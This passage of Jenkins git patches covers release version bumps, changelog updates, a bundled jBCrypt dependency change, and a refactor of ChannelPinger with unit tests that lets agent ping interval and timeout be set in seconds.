4d8105d994..f6e0fd4642 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 3f5ad5b8e2..3aa20f2a58 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 527bce78b5..112614a2d8 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.33 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 1d2f244c36..d03f97aaca 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index fcf0596fd1..22743a7997 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT jenkins-war -- GitLab From fada46e7387476b9b36f5780d5a75902a72edf2d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:40:10 -0800 Subject: [PATCH 354/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index afeccfae61..42bf6aad0f 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                What's new in 2.33 (2016/11/20)

                • Reduce size of Jenkins WAR file by not storing identical copies of remoting.jar there. @@ -77,7 +82,6 @@ Upcoming changes Improved Polish translation. (pull 2640)
                -

                What's new in 2.32 (2016/11/16)

                • -- GitLab From 578298e70d43169bada0ea9f44137b61e5eb7c5a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 21 Nov 2016 16:20:38 -0500 Subject: [PATCH 355/712] [SECURITY-354] Using jBCrypt 0.4. --- core/pom.xml | 6 - .../src/main/java/hudson/security/BCrypt.java | 777 ++++++++++++++++++ .../security/HudsonPrivateSecurityRealm.java | 1 - 3 files changed, 777 insertions(+), 7 deletions(-) create mode 100644 core/src/main/java/hudson/security/BCrypt.java diff --git a/core/pom.xml b/core/pom.xml index 5485300cf6..94726b9737 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -583,12 +583,6 @@ THE SOFTWARE. 1.3.1-jenkins-1 - - org.mindrot - jbcrypt - 0.3m - -

                  What's new in 2.33 (2016/11/20)

                  -- GitLab From a11c05d3bdcff42dfa8befbe62919f9f64dd0682 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 27 Nov 2016 15:27:49 +0100 Subject: [PATCH 366/712] Don't mention #2632 It's not actually a change in anything we deliver. --- changelog.html | 3 --- 1 file changed, 3 deletions(-) diff --git a/changelog.html b/changelog.html index 6f5a110a39..b325170dcd 100644 --- a/changelog.html +++ b/changelog.html @@ -75,9 +75,6 @@ Upcoming changes WinP 1.24: WinP sometimes kills wrong processes when using killRecursive. It was likely impacting process termination on Windows agents. (WinP Issue #22) -
                • - Internal: Translation Tool - Allow adding unique prefix for each missing translation. - (pull 2632)

                What's new in 2.33 (2016/11/20)

                -- GitLab From 5346c8b6f237154512c46a0f43c431d8ead7d44e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 12:55:26 -0800 Subject: [PATCH 367/712] [maven-release-plugin] prepare release jenkins-2.34 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f6e0fd4642..5fc194a157 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 cli diff --git a/core/pom.xml b/core/pom.xml index b2ece7ff4d..133b1da277 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 jenkins-core diff --git a/pom.xml b/pom.xml index 112614a2d8..836930342c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.34 diff --git a/test/pom.xml b/test/pom.xml index d03f97aaca..c9fbbaa3d4 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 test diff --git a/war/pom.xml b/war/pom.xml index 4c335cc066..5a44893c74 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 jenkins-war -- GitLab From 36ba8e590dcceedba2fc772fcfe9fdbb9426b5ac Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 12:55:26 -0800 Subject: [PATCH 368/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 5fc194a157..d4385dc575 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 133b1da277..54c75ac4de 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 836930342c..7b20746edd 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.34 + HEAD diff --git a/test/pom.xml b/test/pom.xml index c9fbbaa3d4..b9987846c4 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5a44893c74..664e9d90ad 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT jenkins-war -- GitLab From cbb5252045d5677efb7b95de0ee89248550080b5 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 13:02:20 -0800 Subject: [PATCH 369/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b325170dcd..69ac6b0a9e 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                What's new in 2.34 (2016/11/27)

                • Improve performance of Action retrieval methods. @@ -76,7 +81,6 @@ Upcoming changes It was likely impacting process termination on Windows agents. (WinP Issue #22)
                -

                What's new in 2.33 (2016/11/20)

                • -- GitLab From 5cc21bc3b9d16db3ab16600411fba1e5d4b98e5e Mon Sep 17 00:00:00 2001 From: mawinter69 Date: Mon, 28 Nov 2016 02:44:33 +0100 Subject: [PATCH 370/712] [JENKINS-39972] export fullName and fullDisplayName (#2644) --- core/src/main/java/hudson/model/AbstractItem.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 9bcfb70184..eb71ce20ae 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -354,12 +354,14 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet */ public abstract Collection getAllJobs(); + @Exported public final String getFullName() { String n = getParent().getFullName(); if(n.length()==0) return getName(); else return n+'/'+getName(); } + @Exported public final String getFullDisplayName() { String n = getParent().getFullDisplayName(); if(n.length()==0) return getDisplayName(); -- GitLab From a7520ef4dad014dd681cfe0b519e62ba9747231e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 28 Nov 2016 09:58:56 -0800 Subject: [PATCH 371/712] [maven-release-plugin] prepare release jenkins-2.19.4 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 89774ab5e0..4e40860332 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 cli diff --git a/core/pom.xml b/core/pom.xml index a6614a3b0e..ce9ba637cd 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 jenkins-core diff --git a/pom.xml b/pom.xml index 7db82638ed..5a6b02470f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.1 + jenkins-2.19.4 diff --git a/test/pom.xml b/test/pom.xml index f1d12f39d3..26f694f591 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 test diff --git a/war/pom.xml b/war/pom.xml index 4a3896734a..0c8ce0e04a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 jenkins-war -- GitLab From 52a3a77a757b8d111160b7bbd97d7045abfc1e2d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 28 Nov 2016 09:58:56 -0800 Subject: [PATCH 372/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4e40860332..540a52bee5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index ce9ba637cd..d469bcadab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5a6b02470f..983d72ec5d 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.4 + jenkins-2.19.1 diff --git a/test/pom.xml b/test/pom.xml index 26f694f591..4f0b97d41e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 0c8ce0e04a..5ca2d49111 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT jenkins-war -- GitLab From d563062747618ae68644c8984ed43f6447c5e685 Mon Sep 17 00:00:00 2001 From: David Hoover Date: Mon, 20 Apr 2015 13:28:54 -0700 Subject: [PATCH 373/712] [FIXED JENKINS-28245] Allow finer-grained tuning of ChannelPinger. * Allows customization in seconds, not minutes * Allows customization of the ping timeout (before, you could set a custom interval, but the timeout would always be PingThread's 4 minute default) This also drops the serialVersionUID from ChannelPinger.SetUpRemotePing; without one provided, the JVM will generate one on demand which is sufficient for the purposes here since these are never persisted and master & slave run the same compiled code. (And it demonstrably works since countless other MasterToSlaveCallables fail to specify their own custom IDs) --- core/pom.xml | 13 +- .../java/hudson/slaves/ChannelPinger.java | 104 ++++++++++++---- .../java/hudson/slaves/ChannelPingerTest.java | 117 ++++++++++++++++++ pom.xml | 8 +- 4 files changed, 212 insertions(+), 30 deletions(-) create mode 100644 core/src/test/java/hudson/slaves/ChannelPingerTest.java diff --git a/core/pom.xml b/core/pom.xml index 54c75ac4de..405941a161 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -606,10 +606,15 @@ THE SOFTWARE. /usr/local/yjp/lib/yjp.jar - - com.google.guava - guava - + + com.google.guava + guava + + + com.google.guava + guava-testlib + test + com.jcraft diff --git a/core/src/main/java/hudson/slaves/ChannelPinger.java b/core/src/main/java/hudson/slaves/ChannelPinger.java index 2bc6d4cffb..88de99270c 100644 --- a/core/src/main/java/hudson/slaves/ChannelPinger.java +++ b/core/src/main/java/hudson/slaves/ChannelPinger.java @@ -35,11 +35,11 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.PingFailureAnalyzer; import java.io.IOException; +import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.logging.Level; import java.util.logging.Logger; -import static java.util.logging.Level.*; - /** * Establish a periodic ping to keep connections between {@link Slave slaves} * and the main Jenkins node alive. This prevents network proxies from @@ -50,16 +50,43 @@ import static java.util.logging.Level.*; @Extension public class ChannelPinger extends ComputerListener { private static final Logger LOGGER = Logger.getLogger(ChannelPinger.class.getName()); - private static final String SYS_PROPERTY_NAME = ChannelPinger.class.getName() + ".pingInterval"; - private static final int DEFAULT_PING_INTERVAL_MIN = 5; - + private static final String TIMEOUT_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingTimeoutSeconds"; + private static final String INTERVAL_MINUTES_PROPERTY = ChannelPinger.class.getName() + ".pingInterval"; + private static final String INTERVAL_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingIntervalSeconds"; + + /** + * Timeout for the ping in seconds. + */ + private final int pingTimeoutSeconds; + /** - * Interval for the ping in minutes. + * Interval for the ping in seconds. */ - private final int pingInterval; + private final int pingIntervalSeconds; public ChannelPinger() { - pingInterval = SystemProperties.getInteger(SYS_PROPERTY_NAME, DEFAULT_PING_INTERVAL_MIN); + pingTimeoutSeconds = Integer.getInteger(TIMEOUT_SECONDS_PROPERTY, 4 * 60); + + // A little extra hoop-jumping to migrate from the old system property + Integer intervalSeconds = Integer.getInteger(INTERVAL_SECONDS_PROPERTY); + Integer intervalMinutes = Integer.getInteger(INTERVAL_MINUTES_PROPERTY); + if (intervalMinutes != null) { + LOGGER.warning("Property '" + INTERVAL_MINUTES_PROPERTY + "' is deprecated. Please migrate to '" + INTERVAL_SECONDS_PROPERTY + "'"); + + if (intervalSeconds != null) { + LOGGER.log(Level.WARNING, "Ignoring {0}={1} because {2}={3}", + new Object[] { INTERVAL_MINUTES_PROPERTY, intervalMinutes, INTERVAL_SECONDS_PROPERTY, intervalSeconds }); + } else { + intervalSeconds = intervalMinutes * 60; + } + } + + pingIntervalSeconds = intervalSeconds == null ? 5 * 60 : intervalSeconds; + + if (pingIntervalSeconds < pingTimeoutSeconds) { + LOGGER.log(Level.WARNING, "Ping interval ({0}) is less than ping timeout ({1})", + new Object[] { pingIntervalSeconds, pingTimeoutSeconds }); + } } @Override @@ -68,13 +95,13 @@ public class ChannelPinger extends ComputerListener { } public void install(Channel channel) { - if (pingInterval < 1) { + if (pingTimeoutSeconds < 1 || pingIntervalSeconds < 1) { LOGGER.fine("Agent ping is disabled"); return; } try { - channel.call(new SetUpRemotePing(pingInterval)); + channel.call(new SetUpRemotePing(pingTimeoutSeconds, pingIntervalSeconds)); LOGGER.fine("Set up a remote ping for " + channel.getName()); } catch (Exception e) { LOGGER.severe("Failed to set up a ping for " + channel.getName()); @@ -82,40 +109,66 @@ public class ChannelPinger extends ComputerListener { // set up ping from both directions, so that in case of a router dropping a connection, // both sides can notice it and take compensation actions. - setUpPingForChannel(channel, pingInterval, true); + setUpPingForChannel(channel, pingTimeoutSeconds, pingIntervalSeconds, true); } - private static class SetUpRemotePing extends MasterToSlaveCallable { - private static final long serialVersionUID = -2702219700841759872L; - private int pingInterval; - public SetUpRemotePing(int pingInterval) { - this.pingInterval = pingInterval; + static class SetUpRemotePing extends MasterToSlaveCallable { + private final int pingTimeoutSeconds; + private final int pingIntervalSeconds; + + SetUpRemotePing(int pingTimeoutSeconds, int pingIntervalSeconds) { + this.pingTimeoutSeconds = pingTimeoutSeconds; + this.pingIntervalSeconds = pingIntervalSeconds; } + @Override public Void call() throws IOException { - setUpPingForChannel(Channel.current(), pingInterval, false); + setUpPingForChannel(Channel.current(), pingTimeoutSeconds, pingIntervalSeconds, false); return null; } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + SetUpRemotePing that = (SetUpRemotePing) o; + return this.pingTimeoutSeconds == that.pingTimeoutSeconds + && this.pingIntervalSeconds == that.pingIntervalSeconds; + } + + @Override + public int hashCode() { + // TODO(deadmoose): switch to Objects.hash once Java 7's fully available + return Arrays.hashCode(new Object[] { pingTimeoutSeconds, pingIntervalSeconds }); + } + + @Override + public String toString() { + return "SetUpRemotePing(" + pingTimeoutSeconds + "," + pingIntervalSeconds + ")"; + } } - private static void setUpPingForChannel(final Channel channel, int interval, final boolean analysis) { - LOGGER.log(FINE, "setting up ping on {0} at interval {1}m", new Object[] {channel.getName(), interval}); + static void setUpPingForChannel(final Channel channel, int timeoutSeconds, int intervalSeconds, final boolean analysis) { final AtomicBoolean isInClosed = new AtomicBoolean(false); - final PingThread t = new PingThread(channel, interval * 60 * 1000) { - @Override + final PingThread t = new PingThread(channel, timeoutSeconds * 1000L, intervalSeconds * 1000L) { protected void onDead(Throwable cause) { try { if (analysis) { analyze(cause); } if (isInClosed.get()) { - LOGGER.log(FINE,"Ping failed after the channel "+channel.getName()+" is already partially closed.",cause); + LOGGER.log(Level.FINE,"Ping failed after the channel "+channel.getName()+" is already partially closed.",cause); } else { - LOGGER.log(INFO,"Ping failed. Terminating the channel "+channel.getName()+".",cause); + LOGGER.log(Level.INFO,"Ping failed. Terminating the channel "+channel.getName()+".",cause); channel.close(cause); } } catch (IOException e) { - LOGGER.log(SEVERE,"Failed to terminate the channel "+channel.getName(),e); + LOGGER.log(Level.SEVERE,"Failed to terminate the channel "+channel.getName(),e); } } /** Keep in a separate method so we do not even try to do class loading on {@link PingFailureAnalyzer} from an agent JVM. */ @@ -141,6 +194,7 @@ public class ChannelPinger extends ComputerListener { }); t.start(); - LOGGER.fine("Ping thread started for " + channel + " with a " + interval + " minute interval"); + LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} second interval and a {2} second timeout.", + new Object[] { channel, intervalSeconds, timeoutSeconds }); } } diff --git a/core/src/test/java/hudson/slaves/ChannelPingerTest.java b/core/src/test/java/hudson/slaves/ChannelPingerTest.java new file mode 100644 index 0000000000..9018ea55ee --- /dev/null +++ b/core/src/test/java/hudson/slaves/ChannelPingerTest.java @@ -0,0 +1,117 @@ +package hudson.slaves; + +import static org.mockito.Matchers.eq; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; +import static org.powermock.api.mockito.PowerMockito.mockStatic; +import static org.powermock.api.mockito.PowerMockito.verifyNoMoreInteractions; +import static org.powermock.api.mockito.PowerMockito.verifyStatic; + +import com.google.common.testing.EqualsTester; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.mockito.MockitoAnnotations; +import org.powermock.api.mockito.PowerMockito; +import org.powermock.core.classloader.annotations.PrepareForTest; +import org.powermock.modules.junit4.PowerMockRunner; +import hudson.remoting.Channel; + +import java.util.Map; +import java.util.HashMap; + +@RunWith(PowerMockRunner.class) +@PrepareForTest({ ChannelPinger.class }) +public class ChannelPingerTest { + + @Mock private Channel mockChannel; + + private Map savedSystemProperties = new HashMap(); + + @Before + public void setUp() throws Exception { + MockitoAnnotations.initMocks(this); + mockStatic(ChannelPinger.class); + } + + @Before + public void preserveSystemProperties() throws Exception { + preserveSystemProperty("hudson.slaves.ChannelPinger.pingInterval"); + preserveSystemProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds"); + preserveSystemProperty("hudson.slaves.ChannelPinger.pingTimeoutSeconds"); + } + + @After + public void restoreSystemProperties() throws Exception { + for (Map.Entry entry : savedSystemProperties.entrySet()) { + if (entry.getValue() != null) { + System.setProperty(entry.getKey(), entry.getValue()); + } else { + System.clearProperty(entry.getKey()); + } + } + } + + private void preserveSystemProperty(String propertyName) { + savedSystemProperties.put(propertyName, System.getProperty(propertyName)); + System.clearProperty(propertyName); + } + + @Test + public void testDefaults() throws Exception { + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 300))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 300); + } + + @Test + public void testFromSystemProperties() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingTimeoutSeconds", "42"); + System.setProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds", "73"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(new ChannelPinger.SetUpRemotePing(42, 73)); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 42, 73); + } + + @Test + public void testFromOldSystemProperty() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingInterval", "7"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 420))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 420); + } + + @Test + public void testNewSystemPropertyTrumpsOld() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds", "73"); + System.setProperty("hudson.slaves.ChannelPinger.pingInterval", "7"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 73))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 73); + } + + @Test + public void testSetUpRemotePingEquality() { + new EqualsTester() + .addEqualityGroup(new ChannelPinger.SetUpRemotePing(1, 2), new ChannelPinger.SetUpRemotePing(1, 2)) + .addEqualityGroup(new ChannelPinger.SetUpRemotePing(2, 3), new ChannelPinger.SetUpRemotePing(2, 3)) + .testEquals(); + } +} diff --git a/pom.xml b/pom.xml index 7b20746edd..00eb5100f5 100644 --- a/pom.xml +++ b/pom.xml @@ -91,6 +91,7 @@ THE SOFTWARE. https://api.github.com jenkins-jira + 11.0.1 1.7.7 2.14 1.4.1 @@ -186,7 +187,12 @@ THE SOFTWARE. com.google.guava guava - 11.0.1 + ${guavaVersion} + + + com.google.guava + guava-testlib + ${guavaVersion} -- GitLab From 6dea3c3f70968d18482e2f650be8fd597b4d1ce1 Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 29 Nov 2016 11:15:16 +0100 Subject: [PATCH 374/712] [JENKINS-28245] - Finish deadmoose's work to allow defining agent ping interval and ping timeout in seconds --- .../java/hudson/slaves/ChannelPinger.java | 96 +++++++++++-------- .../java/hudson/slaves/ChannelPingerTest.java | 19 ++-- 2 files changed, 63 insertions(+), 52 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ChannelPinger.java b/core/src/main/java/hudson/slaves/ChannelPinger.java index 88de99270c..0d4dae702c 100644 --- a/core/src/main/java/hudson/slaves/ChannelPinger.java +++ b/core/src/main/java/hudson/slaves/ChannelPinger.java @@ -35,7 +35,6 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.PingFailureAnalyzer; import java.io.IOException; -import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; import java.util.logging.Level; import java.util.logging.Logger; @@ -49,43 +48,39 @@ import java.util.logging.Logger; */ @Extension public class ChannelPinger extends ComputerListener { + static final int PING_TIMEOUT_SECONDS_DEFAULT = 4 * 60; + static final int PING_INTERVAL_SECONDS_DEFAULT = 5 * 60; + private static final Logger LOGGER = Logger.getLogger(ChannelPinger.class.getName()); private static final String TIMEOUT_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingTimeoutSeconds"; - private static final String INTERVAL_MINUTES_PROPERTY = ChannelPinger.class.getName() + ".pingInterval"; + private static final String INTERVAL_MINUTES_PROPERTY_DEPRECATED = ChannelPinger.class.getName() + ".pingInterval"; private static final String INTERVAL_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingIntervalSeconds"; /** * Timeout for the ping in seconds. */ - private final int pingTimeoutSeconds; + private int pingTimeoutSeconds = SystemProperties.getInteger(TIMEOUT_SECONDS_PROPERTY, PING_TIMEOUT_SECONDS_DEFAULT, Level.WARNING); /** * Interval for the ping in seconds. */ - private final int pingIntervalSeconds; + private int pingIntervalSeconds = PING_INTERVAL_SECONDS_DEFAULT; public ChannelPinger() { - pingTimeoutSeconds = Integer.getInteger(TIMEOUT_SECONDS_PROPERTY, 4 * 60); - - // A little extra hoop-jumping to migrate from the old system property - Integer intervalSeconds = Integer.getInteger(INTERVAL_SECONDS_PROPERTY); - Integer intervalMinutes = Integer.getInteger(INTERVAL_MINUTES_PROPERTY); - if (intervalMinutes != null) { - LOGGER.warning("Property '" + INTERVAL_MINUTES_PROPERTY + "' is deprecated. Please migrate to '" + INTERVAL_SECONDS_PROPERTY + "'"); - - if (intervalSeconds != null) { - LOGGER.log(Level.WARNING, "Ignoring {0}={1} because {2}={3}", - new Object[] { INTERVAL_MINUTES_PROPERTY, intervalMinutes, INTERVAL_SECONDS_PROPERTY, intervalSeconds }); - } else { - intervalSeconds = intervalMinutes * 60; + + Integer interval = SystemProperties.getInteger(INTERVAL_SECONDS_PROPERTY, null, Level.WARNING); + + // if interval wasn't set we read the deprecated property in minutes + if (interval == null) { + interval = SystemProperties.getInteger(INTERVAL_MINUTES_PROPERTY_DEPRECATED,null, Level.WARNING); + if (interval != null) { + LOGGER.warning(INTERVAL_MINUTES_PROPERTY_DEPRECATED + " property is deprecated, " + INTERVAL_SECONDS_PROPERTY + " should be used"); + interval *= 60; //to seconds } } - - pingIntervalSeconds = intervalSeconds == null ? 5 * 60 : intervalSeconds; - - if (pingIntervalSeconds < pingTimeoutSeconds) { - LOGGER.log(Level.WARNING, "Ping interval ({0}) is less than ping timeout ({1})", - new Object[] { pingIntervalSeconds, pingTimeoutSeconds }); + + if (interval != null) { + pingIntervalSeconds = interval; } } @@ -96,7 +91,7 @@ public class ChannelPinger extends ComputerListener { public void install(Channel channel) { if (pingTimeoutSeconds < 1 || pingIntervalSeconds < 1) { - LOGGER.fine("Agent ping is disabled"); + LOGGER.warning("Agent ping is disabled"); return; } @@ -113,6 +108,9 @@ public class ChannelPinger extends ComputerListener { } static class SetUpRemotePing extends MasterToSlaveCallable { + private static final long serialVersionUID = -2702219700841759872L; + @Deprecated + private transient int pingInterval; private final int pingTimeoutSeconds; private final int pingIntervalSeconds; @@ -128,34 +126,48 @@ public class ChannelPinger extends ComputerListener { } @Override - public boolean equals(Object o) { - if (this == o) { + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + pingIntervalSeconds; + result = prime * result + pingTimeoutSeconds; + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { return true; } - if (o == null || getClass() != o.getClass()) { + if (obj == null) { return false; } - - SetUpRemotePing that = (SetUpRemotePing) o; - return this.pingTimeoutSeconds == that.pingTimeoutSeconds - && this.pingIntervalSeconds == that.pingIntervalSeconds; - } - - @Override - public int hashCode() { - // TODO(deadmoose): switch to Objects.hash once Java 7's fully available - return Arrays.hashCode(new Object[] { pingTimeoutSeconds, pingIntervalSeconds }); + if (getClass() != obj.getClass()) { + return false; + } + SetUpRemotePing other = (SetUpRemotePing) obj; + if (pingIntervalSeconds != other.pingIntervalSeconds) { + return false; + } + if (pingTimeoutSeconds != other.pingTimeoutSeconds) { + return false; + } + return true; } - @Override - public String toString() { - return "SetUpRemotePing(" + 